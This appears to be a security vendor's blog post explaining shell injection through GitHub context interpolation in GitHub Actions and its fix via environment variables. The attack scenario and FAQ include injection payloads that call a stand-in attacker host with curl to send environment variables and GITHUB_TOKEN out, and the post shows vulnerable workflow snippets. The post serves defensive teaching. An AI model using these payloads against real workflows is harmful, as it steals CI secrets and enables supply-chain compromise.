Back to Blog
high SEVERITY5 min read

Critical Shell Injection Flaw in GitHub Actions: How to Secure Your CI/CD

A high-severity shell injection vulnerability was discovered in a GitHub Actions workflow that could allow attackers to execute arbitrary code and steal secrets. The vulnerability stemmed from directly interpolating untrusted GitHub context data in shell commands. This post explains the attack vector, demonstrates the fix, and provides best practices for securing your CI/CD pipelines.

O
By Orbis AppSec
Published April 8, 2026Reviewed June 3, 2026

Answer Summary

Shell injection in GitHub Actions (CWE-78) occurs when workflows directly interpolate untrusted GitHub context data like `github.event.issue.title` or `github.head_ref` into `run:` commands, allowing attackers to break out of quotes and execute arbitrary code. The vulnerability is fixed by passing untrusted data through environment variables using the `env:` key, then referencing those variables with `$VARIABLE_NAME` syntax in the shell command. This ensures the shell treats the data as literal strings rather than executable code, preventing command injection and protecting secrets.

Vulnerability at a Glance

cweCWE-78 (OS Command Injection)
fixPass untrusted data through environment variables instead of inline interpolation
riskArbitrary code execution, secret exfiltration, supply chain compromise
languageGitHub Actions YAML with Bash
root causeDirect interpolation of `github.*` context variables in shell commands
vulnerabilityShell injection via untrusted GitHub context interpolation

Introduction: When Your CI/CD Pipeline Becomes an Attack Vector

GitHub Actions has revolutionized how we build, test, and deploy software. But with great automation comes great responsibility—especially when it comes to security. A recently patched vulnerability in a release workflow demonstrates how a single line of seemingly innocent code can open the door to complete compromise of your CI/CD pipeline.

This vulnerability allowed potential attackers to inject malicious shell commands through GitHub context data, potentially stealing secrets, manipulating builds, or compromising your entire release process. If you're using GitHub Actions, this is a wake-up call to audit your workflows immediately.

The Vulnerability Explained: Shell Injection Through Context Data

What Makes This Dangerous?

The vulnerability occurs when GitHub Actions workflows directly interpolate GitHub context variables (like github.event.pull_request.title, github.event.issue.body, or github.head_ref) into shell commands using the ${{ }} syntax.

Here's why this is problematic:

GitHub context data is user-controlled. Anyone who can create a pull request, issue, or branch can inject arbitrary content into these fields. When this untrusted data flows directly into a shell command, it creates a classic injection vulnerability.

Real-World Attack Scenario

Imagine a workflow with this vulnerable code:

- name: Generate release notes
  run: |
    echo "Creating release for ${{ github.event.pull_request.title }}"
    ./create-release.sh "${{ github.event.pull_request.title }}"

An attacker could create a pull request with a malicious title like:

Feature Update"; curl -X POST https://attacker.com/steal -d "$(env)" #

When the workflow runs, the shell command becomes:

echo "Creating release for Feature Update"; curl -X POST https://attacker.com/steal -d "$(env)" #"
./create-release.sh "Feature Update"; curl -X POST https://attacker.com/steal -d "$(env)" #"

The result? The attacker's command executes, exfiltrating all environment variables—including secrets like GITHUB_TOKEN, API keys, and deployment credentials.

The Impact

This type of vulnerability can lead to:

  • Secret theft: Exposure of GitHub tokens, AWS credentials, API keys, and other secrets
  • Code manipulation: Injection of malicious code into releases or deployments
  • Supply chain attacks: Compromised artifacts distributed to users
  • Lateral movement: Using stolen credentials to access other systems
  • Persistent backdoors: Modification of workflows for future attacks

The Fix: Environment Variable Isolation

The solution is elegantly simple but critically important: never directly interpolate GitHub context data in shell commands. Instead, use an intermediate environment variable.

Before (Vulnerable):

- name: Create release
  run: |
    echo "Release: ${{ github.event.pull_request.title }}"
    ./deploy.sh "${{ github.head_ref }}"

After (Secure):

- name: Create release
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
    HEAD_REF: ${{ github.head_ref }}
  run: |
    echo "Release: $PR_TITLE"
    ./deploy.sh "$HEAD_REF"

Why This Works

When you assign GitHub context data to an environment variable using the env: key, GitHub Actions handles the data safely:

  1. Proper escaping: The data is properly escaped before being set as an environment variable
  2. No direct shell interpretation: The shell receives the variable as a literal string, not as executable code
  3. Quoted protection: Using "$ENVVAR" (with quotes) ensures the variable is treated as a single argument, even if it contains spaces or special characters

Key Security Principles Applied

This fix implements several security best practices:

  • Input validation boundary: Creating a clear boundary between untrusted input and code execution
  • Principle of least privilege: Limiting how untrusted data can interact with the system
  • Defense in depth: Adding a layer of protection even if other security measures fail

Prevention & Best Practices

1. Audit All Your Workflows

Search your .github/workflows/ directory for dangerous patterns:

# Find potential shell injection vulnerabilities
grep -r '\${{.*github\.' .github/workflows/ | grep 'run:'

Look for any run: steps that directly use:
- ${{ github.event.* }}
- ${{ github.head_ref }}
- ${{ github.base_ref }}
- Any other user-controllable GitHub context

2. Always Use Environment Variables for Untrusted Data

Make it a rule: all GitHub context data must go through environment variables before being used in shell commands.

# GOOD
- name: Safe command
  env:
    USER_INPUT: ${{ github.event.issue.title }}
  run: echo "Processing: $USER_INPUT"

# BAD
- name: Unsafe command
  run: echo "Processing: ${{ github.event.issue.title }}"

3. Use GitHub Actions Security Features

GitHub provides built-in security features:

# Use script injection protection
- name: Secure script execution
  env:
    SCRIPT_CONTENT: ${{ github.event.comment.body }}
  run: |
    # The environment variable is safe to use
    echo "$SCRIPT_CONTENT" | ./process-safely.sh

4. Implement Automated Security Scanning

Use tools like:

  • Semgrep: Detected this vulnerability with the rule yaml.github-actions.security.run-shell-injection.run-shell-injection
  • GitHub Code Scanning: Native support for security analysis
  • actionlint: Specialized linter for GitHub Actions
  • Checkov: Infrastructure-as-code security scanner

Add to your workflow:

- name: Security scan workflows
  uses: returntocorp/semgrep-action@v1
  with:
    config: >-
      p/github-actions

5. Follow the Principle of Least Privilege

Limit workflow permissions:

permissions:
  contents: read
  pull-requests: read
  # Only grant what's necessary

6. Validate and Sanitize When Possible

Even with environment variables, add validation:

- name: Validate input
  env:
    BRANCH_NAME: ${{ github.head_ref }}
  run: |
    # Validate branch name format
    if [[ ! "$BRANCH_NAME" =~ ^[a-zA-Z0-9/_-]+$ ]]; then
      echo "Invalid branch name format"
      exit 1
    fi
    echo "Processing branch: $BRANCH_NAME"

7. Security Resources and Standards

This vulnerability maps to:

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command
  • OWASP Top 10 2021 - A03:2021: Injection
  • MITRE ATT&CK: T1059 (Command and Scripting Interpreter)

Recommended reading:
- GitHub Actions Security Hardening Guide
- OWASP Command Injection Prevention Cheat Sheet

Conclusion: Small Changes, Big Security Impact

This vulnerability demonstrates a crucial lesson in security: the most dangerous vulnerabilities often hide in plain sight. A single line of workflow code that seems perfectly functional can create a critical security hole.

The fix is straightforward—use environment variables instead of direct interpolation—but the implications are profound. Every GitHub Actions workflow in your organization should be audited for this pattern.

Key Takeaways

  1. Never trust user input, even in CI/CD workflows
  2. Always use environment variables for GitHub context data in shell commands
  3. Implement automated security scanning to catch these issues early
  4. Regular security audits of your workflows are essential
  5. Defense in depth: Layer multiple security controls

Your CI/CD pipeline is a critical part of your infrastructure. Securing it isn't optional—it's essential for protecting your code, your secrets, and your users.

Action Item: Take 15 minutes today to audit your GitHub Actions workflows. Your future self (and your security team) will thank you.


Have you found similar vulnerabilities in your workflows? Share your experiences and questions in the comments below.

Frequently Asked Questions

What is shell injection in GitHub Actions?

Shell injection in GitHub Actions occurs when untrusted data from GitHub context variables (like issue titles, PR titles, or branch names) is directly embedded into shell commands in workflow `run:` steps. Attackers can craft malicious input containing shell metacharacters to break out of the intended command and execute arbitrary code in the CI/CD environment.

How do you prevent shell injection in GitHub Actions workflows?

Prevent shell injection by passing all untrusted GitHub context data through environment variables using the `env:` key, then referencing them with `$VAR` syntax in shell commands. Never use direct interpolation like `${{ github.event.issue.title }}` inside `run:` commands. Additionally, avoid `shell: bash` with user input when possible, and use GitHub's built-in actions that handle data safely.

What CWE is shell injection in GitHub Actions?

Shell injection in GitHub Actions is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command). This vulnerability class covers cases where untrusted input is passed to system command execution functions without proper sanitization, allowing attackers to inject additional commands.

Is using quotes around variables enough to prevent shell injection in GitHub Actions?

No, using quotes is not sufficient. Even with quotes like `echo "${{ github.event.issue.title }}"`, an attacker can include quote characters in their input to break out of the quoted context and inject commands. For example, an issue title like `test"; curl attacker.com?secrets=$GITHUB_TOKEN; echo "` would escape the quotes and execute the curl command. Only environment variable-based passing provides reliable protection.

Can static analysis detect shell injection in GitHub Actions?

Yes, static analysis tools like Semgrep, CodeQL, and specialized GitHub Actions security scanners can detect shell injection vulnerabilities by identifying patterns where GitHub context expressions (`${{ }}`) are used directly in `run:` commands. These tools flag dangerous interpolations and recommend the environment variable pattern as a remediation.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #5487

Related Articles

high

How missing Dependabot cooldown happens in GitHub Actions CI/CD and how to fix it

A high-severity supply chain vulnerability was discovered in a `.github/dependabot.yml` configuration that lacked a cooldown period, meaning Dependabot could immediately propose updates to newly published (and potentially malicious) package versions. The fix adds a `cooldown` block with `default-days: 7` to enforce a 7-day waiting period before suggesting updates, giving the community time to detect and flag compromised packages.

high

How Missing Dependabot Cooldown happens in GitHub Actions and how to fix it

A high-severity supply chain vulnerability was discovered in a Dependabot configuration file that lacked cooldown periods for package updates. Without cooldown settings, Dependabot could propose updates to newly published—and potentially malicious—packages immediately after release. The fix adds a 7-day cooldown period to all three package ecosystems (npm, GitHub Actions, and Maven), giving the community time to identify compromised packages before they're automatically proposed.

high

How missing Dependabot cooldown happens in GitHub Actions CI/CD and how to fix it

A high-severity supply chain vulnerability was discovered in a `.github/dependabot.yml` configuration file that lacked a cooldown period for package updates. Without a cooldown, Dependabot could immediately propose updates to newly published—and potentially malicious—package versions. The fix adds a 7-day `cooldown` block to both the npm and github-actions ecosystem entries, giving the community time to identify and flag compromised packages before they're adopted.

high

GitHub Actions Shell Injection: How ${{...}} Can Betray Your CI/CD Pipeline

A high-severity shell injection vulnerability was discovered and fixed in a GitHub Actions workflow file, where direct use of `${{ github.* }}` context variables in `run:` steps could allow attackers to execute arbitrary code on CI/CD runners. This post explains how the attack works, what the fix looks like, and how you can audit your own workflows to prevent secrets theft and code compromise. Understanding this class of vulnerability is essential for any team using GitHub Actions in production.

high

GitHub Actions Shell Injection: How ${{}} Context Variables Can Compromise Your CI/CD Pipeline

A high-severity shell injection vulnerability was discovered and fixed in a GitHub Actions deployment workflow, where direct use of `${{github.*}}` context variables in `run:` steps could allow attackers to execute arbitrary code in the CI/CD runner. This type of attack can lead to secret theft, source code exfiltration, and complete pipeline compromise. The fix involves routing untrusted context data through intermediate environment variables before using them in shell scripts.

critical

GitHub Actions Shell Injection: How ${{ }} Variables Can Compromise Your CI/CD Pipeline

A critical shell injection vulnerability was discovered and patched in a GitHub Actions workflow file, where direct use of `${{...}}` variable interpolation with GitHub context data in `run:` steps could allow attackers to inject malicious code into CI/CD runners. This type of vulnerability can expose secrets, credentials, and source code to bad actors. The fix involves routing untrusted input through intermediate environment variables — a simple but powerful mitigation that every developer usin